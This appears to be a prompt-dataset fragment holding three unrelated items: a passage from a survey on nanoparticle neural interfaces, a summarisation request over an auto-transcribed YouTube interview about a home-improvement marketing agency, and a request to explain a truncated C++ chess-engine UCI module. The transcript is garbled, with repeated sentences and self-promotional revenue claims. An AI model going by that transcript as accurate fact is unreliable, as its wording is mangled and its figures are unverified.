the right, the nFNI can transduce the signal sufficiently enough to create an action potential in the neuron. The figure on the right shows a closeup of the nanoparticle linked to the plasma channel affecting the ion channel.\nNon-invasive stimulation is the technique of modulating the brain’s activity externally via transmitted signals. Currently, magnetic signals (transcranial magnetic stimulation), electrical signals (transcranial electrical stimulation), and ultrasound signals (transcranial focused ultrasound stimulation) are the primary noninvasive stimulation being used in practice. However, as a signal is sent through a medium such as tissues and bones, the signal will dissipate and scatter, which is a significant hurdle for non-invasive stimulation. As shown in Figure 1, nFNIs could help alleviate these issues by delivering a localized signal to the target neuron. The nFNI would receive the external signal in its attenuated/scattered form. While the signal itself would generally be insufficient in activating the ion channel, as shown on the left, the nFNI would convert the primary signal into a secondary signal capable of activating the ion channel at lower energies. Another perk of this system is that it allows different neurons to be targeted with different nFNIs, allowing for different stimulation targets based on the oscillation frequency. Therefore, The primary-secondary approach would allow for highly targeted, tunable neurons, improved signal transduction, and greater flexibility for signal choice. \nWith the primary-secondary approach, individual neurons could be targeted with external stimulation compared to broadly stimulating a brain region. The specific targeting would be possible because the nFNIs would be bound close to a neuron. If a primary signal not capable of stimulating neurons is applied to the brain, the localized secondary signal delivered by the attached nFNI would, in theory, compactly transduce the signal effectively enough to cause an action potential. The approach would allow for enhanced targeting of specific neurons and require a weaker primary signal, meaning the instrument’s size can be reduced. \nCurrently, acoustic, magnetic, and optical signals are the main primary signals being investigated. The secondary, electrical, magnetic, thermal, optical, and mechanical signals have shown promise in modulating neurons[7.]. \nFigure 2: In the above figure, three examples of nanotransducers are shown. The first example depicts a magnetoelectric transducer. The primary signal, magnetic energy, is sent to the nanoparticle, and the secondary signal of electrical energy is sent to the local area. The second example depicts an optical transducer. The primary signal is electromagnetic radiation (UV light), and the secondary signal, visible light, is sent to the local area. Lastly, the third example depicts a piezoelectric transducer. The primary signal in this example could be ultrasound or microwaves, converted to electricity in the local area. \n Biomimicry is an essential step in the implementation of an exemplary neural interface. To establish effective signal transduction, neural interfaces must use similar communication mechanisms as the neurons they are influencing. Binding to the plasma membrane, ion channels, and intracellular stimulation are the three feasible mechanisms with nFNIs. \n\nFigure 3: The above figure shows three methods of binding a nanoparticle to a neuron. The first method, depicted by (1), shows an anchoring protein binding the nanoparticle to the plasma membrane. The second method, depicted by (2), is the nanoparticle being bound to the ion channel. The third method, depicted by (3), shows the nanoparticles intracellularly.\nOf the three mechanisms, binding to the ion channels is the most practical route because signals can be obtained or delivered efficiently to the neuron while avoiding endocytosis. They also allow for direct stimulation of the neuron by inducing an action potential in the axon or dendrites. Because nFNIs can theoretically target ion channels on an individual level, they can achieve realistic communication with the neurons, reducing potential injuries and allowing for higher resolution, communication bandwidth, and signal channels[7.].\nIn this paper, a survey of current nFNIs will be conducted. The goal is to identify nFNIs with the potential to transduce primary external energy to secondary energy in a manner capable of altering neural activity. Ideally, the discovered nFNIs could be used practically and ethically within humans as building blocks for a theoretical brain-computer interface. The system would aim to solve the two problems of FNI stability and signal resolution today, and an analysis of the advancements in the field needed to make such a design practical will also be conducted. \nPrimary Signals\nDeciding the correct primary signal is a fundamental step in implementing nFNIs. If the primary signal attenuates too quickly or cannot deliver enough energy, the nFNI will be incapable of producing a sufficient secondary signal to stimulate the neuron. Likewise, if the signal cannot be detected on a near-nanoscale spatial resolution, signals received from individual neurons may be lost. Electromagnetic, ultrasound and magnetic stimulation are the three signal types that will be evaluated in the proceeding section.\n Electromagnetic radiation exists on a spectrum from radio waves to gamma rays; as the wavelength of the radiation decreases, the energy of the wave increases. Due to this, short wavelength electromagnetic radiation such as gamma rays to UV light can prove potentially dangerous in a biological system. X-rays and Gamma rays are classified as ionizing radiation because they can remove electrons from atoms. The removal of these electrons can cause tissue damage or cancer if DNA is damaged[10.]. \n A study done in LEDs at different wavelengths shows that near-infrared wavelengths allow greater signal depth due to their longer wavelengths. However, as the wavelengths increased beyond 900nm, the signal depth began to decline, as shown in Table 1. A range of 700-900nm seems the optimal range for the primary signal to reach the maximum depth of roughly 4.4mm in tissue. Based on this information, the NIR range seems an optimal candidate as an optical light primary energy. In a study conducted on mice, NIR imaging was capable of penetrating 2mm through the skull[11.]. The NIR is 2mm due to light scattering, but despite the scattering, the signal has a spatial resolution of sub-10 µm through the skull[11.].\nWavelength\n300-400nm\n550-650nm\n650-750nm\n700-900nm\n1000nm\n10600nm\nPenetration Depth\n<1mm\n1.5-2mm\n2.5-3mm\n4.2-4.4mm\n3mm\n<1mm\n\nTable 1: A comparison of LED wavelengths vs. penetration depth [12.13]\nMicrowaves are the band of electromagnetic radiation on the higher frequency end of the radio spectrum[14.]. Microwaves are used for many applications such as point-to-point communications, heat sources, and, more recently, medical imaging. Microwave Imaging(MWI) is an emerging imaging method that has shown several advantages over other methods such as x-ray, ultrasound, and MRI due to its lower cost, use of non-ionizing radiation, and imaging without the use of contrasting agents[14.]. MWI is primarily used in imaging soft tissues such as breasts to find tumors. MWI works by microwaves penetrating the skin and tissue in order to reach a receiver on the opposite side. While traveling through the tissue, the waves scatter due to the different electrical properties of the different tissues, which can be interpreted with algorithms once received by the receiver. As shown in table 2, microwaves between the frequencies of 800 to 1000 MHz can penetrate the skull, with 40% of these waves able to reach 4-5cm into the brain[15.]. The resolution of microwaves depends on the amount of antenna used in a given setup. A spatial resolution of 4mm is the resolution that will be considered. The resolution comes from a study that used MWI to image the brain of rhesus monkeys[16.]. \nTranscranial magnetic stimulation (TMS) is a non-invasive form of stimulation that relies on electromagnetic induction to stimulate muscles and nerves. Current is carried through the circular or figure-eight shaped coils, which creates a powerful, pulsing magnetic field on the scalp, which induces an electrical current in the target region of the brain.[17.]TMS has been limited to 2-5 cm due to rapid electric field attenuation, but it has been shown that it can stimulate up to 6-8 cm with other coil designs such as double-cone, halo, or H coils[17.]. However, the high intensities needed from these depths raise safety concerns and may cause discomfort[17.]. The reported discomfort ranges from headaches and local pain, which can be attributed to the activation of nerves and nociceptors on the scalp[18.]. TMS has been shown to have a spatial resolution of 0.5-1 cm, meaning it cannot stimulate specific neural circuits or neurons, unlike the spatial resolutions of NIR light and ultrasound, as shown below in Table 2. However, it can stimulate specific brain regions, such as the visual, temporal, and motor cortices. \n"' -'Title: "Exposing a $102k/mo Home Improvement SMMA (Interview) - YouTube"\nVideo Transcript: "you guys know on my channel I don\'t [ \\_\\_ ] around I give you the juicy [ \\_\\_ ] I give you the behind the scenes raw uncut footage unblurred footage of exactly what it takes to run an agency and today in this video it\'s [ \\_\\_ ] Christmas for you guys Merry Christmas first name I got you a dildight today we have a proud member of 300 agencies his name is Samuel Darby he runs an agency making around a million dollars a year he has around 40 clients he\'s in the construction repair and Roofing Niche and if there\'s any video about smma right now that you should be watching to the end it\'s this one because Samuel is literally gonna go inside his ad account show the exact ads he\'s running to get his own clients a little bit about how he runs his agency from the inside he\'s just literally doing a screen share showing everything so I dare you watch this video to the end especially when Samuel dives into the detailed Frameworks on how he gets his clients so that being said you guys are in for the best video of your life I\'m not even joking so cue the interview alright guys so we\'re here with Sam he has an agency in the roofing space uh has around 40 clients is that right yeah anyway from 35 to 40. um yeah and in this video he\'s gonna break down um how his agency a little bit about how his agency works and how he actually gets results for his clients so yeah take it away yeah cool um so we\'re actually not just Roofing so we do we do have some Roofing clients but it\'s mainly um like you UK Home Improvements companies so we always focus on one product at a time so we\'ve got anywhere any one time we\'ve got anywhere from 25 to 40 companies kind of a bit High a bit on the higher end um now but over the last kind of year or two it\'s kind of climbed from uh 10 to 15 clients up to 40. and um we do products like into Conservatory insulation very boring products resin installation um you know home exterior wall Coatings insulation that kind of stuff very boring products but all the values between sort of 3020 to 25 000 pounds and um um this is a great industry to be in because obviously the clients that we work with are um they need the work continuously coming in so we essentially provide them with work so we I think in 2021 we had about 25 to 30 clients average across the year and I think we generated about 15 to 20 million pounds worth of revenue for them and that was um so it worked out somewhere in the region like yeah like 45 to 55 000 per month per client uh which obviously if you\'re working in like a dental or um any other market like a local market you\'re just not going to have numbers that large yeah because construction and Home Improvements the trade industry is uh you\'re working with larger order values the numbers are much more kind of inflated but obviously the margins are like um 20 so if you\'re selling a five grand roof it\'s like a 1 000 pound margin so obviously bear that in mind um but yes we\'ve got one side of our business which is the um agency side and it\'s I think quite similar to Thomas what you guys do it\'s retainer based mainly I think you guys have a weird performance on the front end so the first month\'s like performance kind of weighted so we kind of um we have like 30 day guarantees based on performance so we do we do get paid up front but um we\'ve been going now for like four years and we\'ve got like 40 video testimonials like seven figure video testimonials multiple six figure video testimonials so like it\'s a lot easier now for me to take money off up front for people um it used to be a little bit weighted on the back end but now we\'ve got that kind of credibility and it\'s a lot end so the first month\'s like performance kind of weighted so we kind of um we have like 30 day guarantees based on performance so we do we do get paid up front but um we um we buy any car like all of these kinds of companies are kind of front-end Brands then um work with Partners on the back end so for example we started working with an insulation company um we\'re selling them on a PowerPoint basis so we cover all the advertising costs all the marketing costs we run all the ads we design all the funnels we um film all the content produce all the ads and we actually do I can go into more about that in a minute but we do a lot of the content ourselves and then we then use like a lead distribution your viewers are like getting started maybe a big beginning stages you\'re always going to make if you\'re good at what you do you\'re always going to make more money on a performance model um it\'s a lot easier for them to trust you yeah because you\'re selling something that they don\'t have yet and you\'re kind of guaranteeing you\'re going to deliver it so it\'s a lot easier for you to make more money and there are oftentimes a lot happy to give that money over once you\'ve helped them you see your website why you\'re able to get clients you just have like the video sales letter which is like very short like we can guarantee you um basically results and then you have like like a long list of testimonials like really good testimonials where you have people saying they\'ve had an excellent experience with you they\'ve made like this amount of money um so yeah I mean let\'s go through your website I think that could be very useful for people okay cool if you said enable screenshot I\'ll do that now oh yeah my bad I think me see if I can put it up um I\'ll see if I can pull it up I might be able to it\'s crazy you have to search up ad accounts oh do you not have to do that anymore no um like you have so many you have to like search one up oh yeah yeah I mean it\'s probably 100 in there yeah um so yeah so we\'ve spent this isn\'t all that account it could disabled as you can see out to um oh it sounds looks like it maybe isn\'t disabled anymore but anyway it I can\'t use it um we spent like 76k we\'ve got a new one know into I would say 70 80 of our clients have come from Facebook as now it\'s a lot more word of mouth and a lot more kind of we brought that reputation up we get more organic traffic and we also have a big email database that we can um you know run like email broadcast like case study so the easiest way to get clients is like if you\'ve got a once you\'ve been going a little while and you\'ve built up a little bit of an email email database I think a lot of agencies seek on email like we\'ve got 4 000 yeah and are those emails coming from those fit from the Facebook ads you\'re running um yeah also yeah so the email options you mean yeah yeah so let me uh let me pull up some examples so uh so we kind of yeah we kind of swept swapped um funnels we kind of alternate between strategies but if anyone who knows Facebook ads this is obviously a like a lead opt-in funnel I\'ll show you the ad I don\'t mind um but this one we spent like 5K um 1800 email opt-ins and this was probably the longest one we had running sales which is like completely true um I just basically went through our clients and picked handpicked the top five to ten Facebook ads like creatives that just like blew up and each one of them got like 100 leads so um it links to a yeah really simple opt-in page like this with a bit of a sales script um once they then download this they put their email address in download um that goes straight to my email um convertkit account so I can then I send them into like a 10 email um I guess sales script like what\'s that like a simple survey Builder um so I find that information about them like you know size of business how many teams they\'ve got what their problem is what their revenue was it\'s really important to me if they\'ve revenue is like under 300 000 and they don\'t you know it doesn\'t fit certain kind of criteria I will just cancel the course pin off um so I\'m really looking for those companies that have revenues that are well north of 300 000 ideally north of a million but so I kind of hand-picked that actually if I can show it to you so if I pull up that and go high level I use pretty much the same kind of go high level snapshot for myself as I leave for our clients because it\'s very basic it\'s like an a simple pipeline yeah and each stage of the pipeline the leads kind of get contacts in different ways so if I go to yes right this is my 2. them all in here so I\'ve gone to demo call I\'ll book in the slot and then once that\'s booked in that lead automatically moves over to demo book section so um and um and then from there and then just I kind of moved into the process but on that demo as a zoom demo and I kind of rather than having like a PDF a lot of times I would be especially with this industry might be a bit different for whoever whoever\'s listening if you\'re working with a relatively sophisticated market then it\'s gonna be people do this because like it\'s so much easier to just say to them hey if you just scroll down you can like they might say to you oh do you have any examples of this but yeah cool just scroll down that page and they can just scroll down like as a salesperson especially in the service space you need to be ready for any um sort of situation if they\'re if they say you might get on a call and you\'re like oh man I could definitely close this call right now I don\'t need a demo in which case I\'ll say to them hey uh the service which is just like campaign build um I I you know Custom Sales page back in Sales Systems um I kind of break down because we use go ahead level for our clients performance tracking as well so I I can do this because I\'m not going to be giving away any personal data by doing this but if I go for example into a customer here if I did it\'s good because with high level you have um the tracking like the reporting that\'s done for them like um yeah you don\'t have to you don\'t have to get your media buyer to like report it sounds about right to be honest um but certainly yeah at a glance I can kind of look at this and see all the important stuff and it\'s actually really easy when you\'re if you\'re trying to close deals and let\'s say you\'ve got a handful of clients that are making real serious money if you have a way of tracking that Revenue in either a Google sheet a go high level um and it\'s legit so when you get on demo calls if I get a demo call with a company that\'s and I qualified yeah you can just transparently show them like information you you show the product you give them the timelines I\'m like cool basically this stuff doesn\'t really matter like it\'s why there\'s not much information here they just they just need to see it like they need to see it so they can see what you do it doesn\'t really matter at the end of the day it\'s about performance so really I\'m focused on saying to them look it\'s at the end of the day we\'re gonna fill your calendar with the amount of appointments that you need to hit the didn\'t make at least their money back in profit after their costs after their cost of um installation and materials um we give them a full refund of their fee so it\'s more or less like no-brainer um and it\'s I look at the guarantee less of like a marketing tactic for me personally more of like a closing closing tactic so um I kind of wait till the end of that call before I even mention it and then I mention it at the end and then it\'s like a no-brainer so um closing retainers for us now is easy started with this particular company it\'s like I don\'t know three weeks and uh we get paid 150 per appointment and we\'re just starting to ramp it up now so uh this is like the direction we want to go in which is taking all the risk obviously you have to have the cash flow to do this um yeah but no I think it\'s it\'s a good idea because you can eliminate you know the the pressure of like being behind your staff in like delivering on the guarantee every single month especially if you have a money back guarantee or differently so I mean it\'s simple facts is who who\'s going to win the deal if you\'re going in saying to them hey um it\'s two grand a month um I don\'t have much experience but hit me up front there\'s no guarantee yeah I can\'t guarantee anything and it\'s a three month commitment versus me or you or anyone who\'s going and saying hey um we guarantee you\'re gonna make at least 30k of sales um here\'s 30 people that I\'ve done exact same thing as you the exact same product phone myself like to understand these products and really know how to Market them properly so and also I\'ve gone to video shoots and I\'ve filmed products and I\'ve um we have our own brand that we advertise and stuff like that so like I know this industry super well now um and Alex from Rosie once said it for anyone who knows who Alex Mosey is he said um something along the lines of how do you actually expect how you can\'t complain about your clients performance if you haven\'t done it yourself yeah the um I think this was absolutely insane do you have you said you were gonna start a channel right I think um I think a bunch of people are gonna want to see that so um yeah I\'m gonna leave I\'m Gonna Leave a link in the description for your channel and um yeah what what type of content um do you have to promote on there or do you have to you know what are you gonna be uh releasing yeah no worries um I\'ll stop the share so I am I have a tick tock account which has I don\'t know I think I have like 40 000 subscribers or Tock account which is my Tick Tock Samuel dot Darby and my YouTube is also oh no my Instagram and my YouTuber both the Samuel Darby so you can catch me on on all of those um yeah more content coming soon for sure all right it was nice talking with you man and um yeah uh maybe maybe we\'ll do this again I don\'t know um yeah cool all right bye guys all right so that was the interview that was kind of an awkward ending but make sure you guys subscribe to Sam\'s Channel which is going to be linked in the"\nVideo Summary:' -'what does this code do? /\\*\\* Native C++ UCI \\*/\n/\\*\\* http://wbec-ridderkerk.nl/html/UCIProtocol.html \\*/\n#include \n#include \n#include "context.h"\n\n/\\*\\* Raise RuntimeError, and let Python handle it... \\*/\nstatic void raise\\_runtime\\_error(const char\\* err)\n{\n PyGILState\\_STATE with\\_gil(PyGILState\\_Ensure());\n PyErr\\_SetString(PyExc\\_RuntimeError, err);\n PyGILState\\_Release(with\\_gil);\n}\n\n#if NATIVE\\_UCI /\\* experimental \\*/\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include "nnue.h"\n#include "thread\\_pool.hpp" /\\* pondering, go infinite \\*/\n\n#define LOG\\_DEBUG(x) while (\\_debug) { log\\_debug((x)); break; }\n\nstatic constexpr auto INFINITE = -1;\n\nnamespace std\n{\n INLINE std::string to\\_string(std::string\\_view v)\n {\n return std::string(v);\n }\n}\n\nnamespace\n{\n static constexpr std::string\\_view START\\_POS{"rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR"};\n static bool \\_debug = false; /\\* enable verbose logging \\*/\n\n template \n static void log\\_error(T err)\n {\n try\n {\n search::Context::log\\_message(LogLevel::ERROR, std::to\\_string(err));\n }\n catch (...)\n {\n }\n }\n\n template static void log\\_debug(T msg)\n {\n search::Context::log\\_message(LogLevel::DEBUG, std::to\\_string(msg));\n }\n\n template static void log\\_warning(T warn)\n {\n search::Context::log\\_message(LogLevel::WARN, std::to\\_string(warn));\n }\n\n template static INLINE T &lowercase(T &s)\n {\n std::transform(s.begin(), s.end(), s.begin(), [](auto c) { return std::tolower(c); });\n return s;\n }\n\n template static INLINE std::string join(std::string\\_view sep, const T &v)\n {\n std::ostringstream s;\n for (const auto &elem : v)\n (s.tellp() ? s << sep : s) << elem;\n return s.str();\n }\n\n template INLINE void output(std::ostream& out, T val)\n {\n out << val;\n }\n\n template INLINE void output(std::ostream& out, T val, Args... args)\n {\n output(out << val, args...);\n }\n\n template INLINE void output(const std::string\\_view out)\n {\n std::cout << out << "\\n";\n LOG\\_DEBUG(std::format("<<< {}", out));\n if constexpr(flush)\n std::cout << std::flush;\n }\n\n /\\*\\* Raise ValueError exception, and exit with error (see dtor of GIL\\_State) \\*/\n template \n#if \\_MSC\\_VER\n void raise\\_value\\_error(std::\\_Fmt\\_string fmt, Args&&... args)\n#else\n void raise\\_value\\_error(std::format\\_string fmt, Args&&... args)\n#endif\n {\n const auto err = std::format(fmt, std::forward(args)...);\n cython\\_wrapper::GIL\\_State with\\_gil;\n log\\_error(err);\n PyErr\\_SetString(PyExc\\_ValueError, err.c\\_str());\n }\n} /\\* namespace \\*/\n\nenum class Command\n{\n NONE,\n GO,\n ISREADY,\n PONDERHIT,\n POSITION,\n SETOPTION,\n STOP,\n UCI,\n UCINEWGAME,\n};\n\nstatic std::unordered\\_map commands{\n {"go", Command::GO},\n {"isready", Command::ISREADY},\n {"ponderhit", Command::PONDERHIT},\n {"position", Command::POSITION},\n {"setoption", Command::SETOPTION},\n {"stop", Command::STOP},\n {"uci", Command::UCI},\n {"ucinewgame", Command::UCINEWGAME},\n};\n\nnamespace\n{\n /\\*\n https://stackoverflow.com/questions/27866909/get-function-arity-from-template-parameter\n \\*/\n template struct arity {};\n\n template \n struct arity : std::integral\\_constant {};\n\n template INLINE int to\\_int(T v) { return std::stoi(std::string(v)); }\n\n struct Option\n {\n virtual ~Option() = default;\n virtual void print(std::ostream &) const = 0;\n virtual void set(std::string\\_view value) = 0;\n };\n\n struct OptionBase : public Option\n {\n const std::string \\_name;\n explicit OptionBase(const std::string &name) : \\_name(name) {}\n void print(std::ostream &out) const override { out << \\_name << " "; }\n };\n\n struct OptionAlgo : public OptionBase\n {\n search::Algorithm &\\_algo;\n\n explicit OptionAlgo(search::Algorithm& algo) : OptionBase("Algorithm"), \\_algo(algo) {}\n void print(std::ostream &out) const override\n {\n OptionBase::print(out);\n out << "type combo default " << name(\\_algo) << " var mtdf var negascout var negamax";\n }\n std::string\\_view name(search::Algorithm algo) const\n {\n switch (algo)\n {\n case search::Algorithm::MTDF: return "mtdf";\n case search::Algorithm::NEGAMAX: return "negamax";\n case search::Algorithm::NEGASCOUT: return "negascout";\n }\n return "";\n }\n void set(std::string\\_view value) override\n {\n if (value == "mtdf") \\_algo = search::Algorithm::MTDF;\n else if (value == "negascout") \\_algo = search::Algorithm::NEGASCOUT;\n else if (value == "negamax") \\_algo = search::Algorithm::NEGAMAX;\n }\n };\n\n struct OptionBool : public OptionBase\n {\n bool &\\_b;\n\n OptionBool(const std::string &name, bool &b) : OptionBase(name), \\_b(b)\n {\n }\n\n void print(std::ostream &out) const override\n {\n OptionBase::print(out);\n out << "type check default " << std::boolalpha << \\_b;\n }\n\n void set(std::string\\_view value) override\n {\n if (value == "true")\n \\_b = true;\n else if (value == "false")\n \\_b = false;\n }\n };\n\n struct OptionParam : public OptionBase\n {\n const Param \\_p;\n\n OptionParam(const std::string &name, const Param ¶m) : OptionBase(name), \\_p(param) {}\n\n void print(std::ostream &out) const override\n {\n OptionBase::print(out);\n if (\\_p.min\\_val == 0 && \\_p.max\\_val == 1)\n out << "type check default " << std::boolalpha << bool(\\_p.val);\n else\n out << "type spin default " << \\_p.val << " min " << \\_p.min\\_val << " max " << \\_p.max\\_val;\n }\n\n void set(std::string\\_view value) override { \\_set\\_param(\\_name, to\\_int(value), true); }\n };\n\n struct OptionEvalFile : public OptionBase\n {\n std::string &\\_eval\\_file;\n explicit OptionEvalFile(std::string& eval\\_file) : OptionBase("EvalFile"), \\_eval\\_file(eval\\_file) {}\n\n void print(std::ostream& out) const override\n {\n OptionBase::print(out);\n out << "type string default " << \\_eval\\_file;\n }\n\n void set(std::string\\_view value) override\n {\n if (nnue\\_init(std::string(value).c\\_str()))\n \\_eval\\_file = value;\n else\n raise\\_value\\_error("invalid NNUE file: {}", value); /\\* refuse to run without valid NNUE \\*/\n }\n };\n\n struct OptionSyzygy : public OptionBase\n {\n OptionSyzygy() : OptionBase("SyzygyPath") {}\n\n void print(std::ostream& out) const override\n {\n OptionBase::print(out);\n out << "type string";\n const auto &path = search::Context::syzygy\\_path();\n if (!path.empty())\n out << " default " << path;\n }\n\n void set(std::string\\_view value) override\n {\n search::Context::set\\_syzygy\\_path(std::string(value));\n }\n };\n}\n\nusing ThreadPool = thread\\_pool;\n\nclass UCI\n{\n using Arguments = std::vector;\n using EngineOptions = std::map>;\n\n static constexpr int max\\_depth = PLY\\_MAX;\n\npublic:\n UCI(const std::string &name, const std::string &version)\n : \\_name(name)\n , \\_version(version)\n , \\_use\\_opening\\_book(search::Context::\\_book\\_init(\\_book))\n {\n set\\_start\\_position();\n\n search::Context::\\_on\\_iter = on\\_iteration;\n\n \\_options.emplace("algorithm", std::make\\_shared(\\_algorithm));\n \\_options.emplace("best opening", std::make\\_shared("Best Opening", \\_best\\_book\\_move));\n \\_options.emplace("debug", std::make\\_shared("Debug", \\_debug));\n \\_options.emplace("ownbook", std::make\\_shared("OwnBook", \\_use\\_opening\\_book));\n \\_options.emplace("ponder", std::make\\_shared("Ponder", \\_ponder));\n \\_options.emplace("evalfile", std::make\\_shared(\\_eval\\_file));\n \\_options.emplace("syzygypath", std::make\\_shared());\n }\n\n static bool output\\_expected() { return \\_output\\_expected.load(std::memory\\_order\\_relaxed); }\n void run();\n\nprivate:\n void dispatch(const std::string &, const Arguments &args);\n\n /\\*\\* UCI commands \\*/\n void go(const Arguments &args);\n void isready();\n void ponderhit();\n void position(const Arguments &args);\n void setoption(const Arguments &args);\n void stop();\n void uci();\n void newgame();\n\n /\\*\\* Context callbacks \\*/\n static void on\\_iteration(PyObject \\*, search::Context \\*, const search::IterationInfo \\*);\n\nprivate:\n /\\*\\* position() helper \\*/\n template INLINE void apply\\_moves(const T &moves)\n {\n \\_last\\_move = chess::BaseMove();\n \\_ply\\_count = 0;\n\n for (const auto &m : moves)\n if (m.size() >= 4)\n {\n chess::Square from, to;\n\n if (chess::parse\\_square(m, from) && chess::parse\\_square(std::string\\_view(&m[2], 2), to))\n {\n const auto promo = m.size() > 4 ? chess::piece\\_type(m[4]) : chess::PieceType::NONE;\n const auto move = chess::BaseMove(from, to, promo);\n const auto prev = \\_buf.\\_state;\n \\_buf.\\_state.apply\\_move(move);\n chess::zobrist\\_update(prev, move, \\_buf.\\_state);\n ASSERT(\\_buf.\\_state.\\_hash == chess::zobrist\\_hash(\\_buf.\\_state));\n /\\* keep track of played moves, to detect repetitions \\*/\n search::Context::\\_history->emplace(\\_buf.\\_state);\n /\\* update the halfmove clock \\*/\n if (\\_buf.\\_state.capture\\_value || prev.piece\\_type\\_at(from) == chess::PieceType::PAWN)\n search::Context::\\_history->\\_fifty = 0;\n else\n ++search::Context::\\_history->\\_fifty;\n \\_last\\_move = move;\n ++\\_ply\\_count;\n }\n }\n }\n\n INLINE search::Context &context() { return \\*\\_buf.as\\_context(); }\n\n template \n INLINE void output\\_best\\_move(bool request\\_ponder = false)\n {\n if (output\\_expected())\n {\n auto &ctxt = context();\n auto move = ctxt.\\_best\\_move;\n if (!move)\n if (auto first = ctxt.first\\_valid\\_move())\n move = \\*first;\n if constexpr(synchronous)\n output\\_best\\_move(move, request\\_ponder);\n else\n \\_output\\_pool->push\\_task([this, move, request\\_ponder] {\n output\\_best\\_move(move, request\\_ponder);\n });\n }\n }\n\n INLINE void output\\_best\\_move(const chess::BaseMove &move, bool request\\_ponder = false)\n {\n ASSERT(output\\_expected());\n \\_output\\_expected = false;\n\n if (!move)\n {\n output("resign");\n }\n else\n {\n if (request\\_ponder && \\_ponder)\n {\n const auto &pv = \\_tt.get\\_pv();\n if (pv.size() > 2 && pv[1] == move)\n {\n output(std::format("bestmove {} ponder {}", move.uci(), pv[2].uci()));\n return;\n }\n }\n output(std::format("bestmove {}", move.uci()));\n }\n }\n\n template \n INLINE void invoke(const std::string &cmd, F f, const Arguments &args)\n {\n if constexpr (arity{} == 0)\n {\n if (args.size() > 1)\n log\\_warning(std::format("extraneous arguments: {}", cmd));\n (this->\\*f)();\n }\n else\n {\n (this->\\*f)(args);\n }\n }\n\n INLINE void set\\_start\\_position()\n {\n \\_buf.\\_state = chess::State();\n \\_buf.\\_state.castling\\_rights = chess::BB\\_DEFAULT\\_CASTLING\\_RIGHTS;\n chess::epd::parse\\_pos(START\\_POS, \\_buf.\\_state);\n \\_buf.\\_state.rehash();\n \\_book\\_depth = max\\_depth;\n }\n\n /\\*\\* think on opponent\'s time \\*/\n void ponder();\n\n /\\*\\* iterative deepening search \\*/\n score\\_t search();\n\n search::Algorithm \\_algorithm = search::Algorithm::MTDF;\n search::ContextBuffer \\_buf;\n search::TranspositionTable \\_tt;\n std::string \\_book = "book.bin";\n std::string \\_eval\\_file = NNUE\\_EVAL\\_FILE;\n std::atomic\\_int \\_extended\\_time = 0; /\\* for pondering \\*/\n int \\_book\\_depth = max\\_depth;\n int \\_depth = max\\_depth;\n int \\_ply\\_count = 0;\n score\\_t \\_score = 0;\n EngineOptions \\_options;\n const std::string \\_name;\n const std::string \\_version; /\\* engine version \\*/\n static std::unique\\_ptr \\_compute\\_pool;\n static std::unique\\_ptr \\_output\\_pool;\n static std::atomic\\_bool \\_output\\_expected;\n bool \\_ponder = false;\n bool \\_use\\_opening\\_book = false;\n bool \\_best\\_book\\_move = false;\n chess::BaseMove \\_last\\_move;\n};\n\nstd::unique\\_ptr UCI::\\_output\\_pool(std::make\\_unique(1));\nstd::unique\\_ptr UCI::\\_compute\\_pool(std::make\\_unique(1));\n\nstd::atomic\\_bool UCI::\\_output\\_expected(false);\n\n/\\*\\* Estimate number of moves (not plies!) until mate. \\*/\nstatic INLINE int mate\\_distance(score\\_t score, const search::PV &pv)\n{\n return std::copysign((std::max(CHECKMATE - std::abs(score), pv.size()) + 1) / 2, score);\n}\n\n/\\*\\* Info sent to the GUI. \\*/\nstruct Info : public search::IterationInfo\n{\n const int eval\\_depth;\n const int hashfull;\n const int iteration;\n search::PV\\* const pv;\n static std::array pvs;\n\n Info(const search::Context& ctxt, const IterationInfo& info)\n : IterationInfo(info)\n , eval\\_depth(ctxt.get\\_tt()->\\_eval\\_depth)\n , hashfull(search::TranspositionTable::usage() \\* 10)\n , iteration(ctxt.iteration())\n , pv(&pvs[std::min(pvs.size() - 1, iteration)])\n {\n pv->assign(ctxt.get\\_pv().begin() + 1, ctxt.get\\_pv().end());\n }\n};\n\n/\\* Hold PVs for pending output tasks \\*/\nstd::array Info::pvs;\n\nstatic void INLINE output\\_info(std::ostream& out, const Info& info)\n{\n constexpr auto MATE\\_DIST\\_MAX = 10;\n constexpr auto TIME\\_LOW = 25; /\\* millisec \\*/\n\n const auto ms = info.milliseconds;\n const auto time\\_limit = search::Context::time\\_limit();\n\n if (time\\_limit > 0 && time\\_limit <= ms + TIME\\_LOW)\n {\n output(out, "info depth ", info.iteration, " score cp ", info.score);\n }\n else\n {\n output(out, "info depth ", info.iteration, " seldepth ", info.eval\\_depth);\n if (std::abs(info.score) > CHECKMATE - MATE\\_DIST\\_MAX)\n output(out, " score mate ", mate\\_distance(info.score, \\*info.pv));\n else\n output(out, " score cp ", info.score);\n\n output(out,\n " time ", ms,\n " nodes ", info.nodes,\n " nps ", int(info.knps \\* 1000),\n " hashfull ", info.hashfull);\n out << " pv ";\n for (const auto &m : \\*info.pv)\n out << m << " ";\n }\n}\n\nstatic void INLINE output\\_info(const Info& info)\n{\n output\\_info(std::cout, info);\n std::cout << std::endl;\n\n if (\\_debug)\n {\n std::ostringstream out;\n output\\_info(out << "<<< ", info);\n log\\_debug(out.str());\n }\n}\n\n/\\* static \\*/\nINLINE void UCI::on\\_iteration(PyObject \\*, search::Context \\*ctxt, const search::IterationInfo \\*iter\\_info)\n{\n if (ctxt && iter\\_info)\n {\n const Info info(\\*ctxt, \\*iter\\_info);\n \\_output\\_pool->push\\_task([info] {\n output\\_info(info);\n });\n }\n}\n\nvoid UCI::run()\n{\n std::string cmd;\n while (true)\n {\n std::getline(std::cin, cmd);\n if (std::cin.fail() || std::cin.eof())\n {\n stop();\n break;\n }\n const auto nl = cmd.find\\_last\\_not\\_of("\\n\\r");\n if (nl != std::string::npos)\n cmd.erase(nl + 1);\n if (cmd.empty())\n continue;\n LOG\\_DEBUG(std::format(">>> {}", cmd));\n if (cmd == "quit")\n {\n \\_output\\_expected = false;\n stop();\n output("info string good bye");\n break;\n }\n\n Arguments args;\n /\\* tokenize command \\*/\n std::ranges::for\\_each(\n std::views::lazy\\_split(cmd, std::string\\_view(" ")),\n [&](auto const &tok)\n {\n if (!tok.empty())\n args.emplace\\_back(std::string\\_view(&\\*tok.begin(), std::ranges::distance(tok)));\n });\n\n if (!args.empty())\n dispatch(cmd, args);\n }\n}\n\nINLINE void UCI::dispatch(const std::string &cmd, const Arguments &args)\n{\n ASSERT(!args.empty());\n const auto iter = 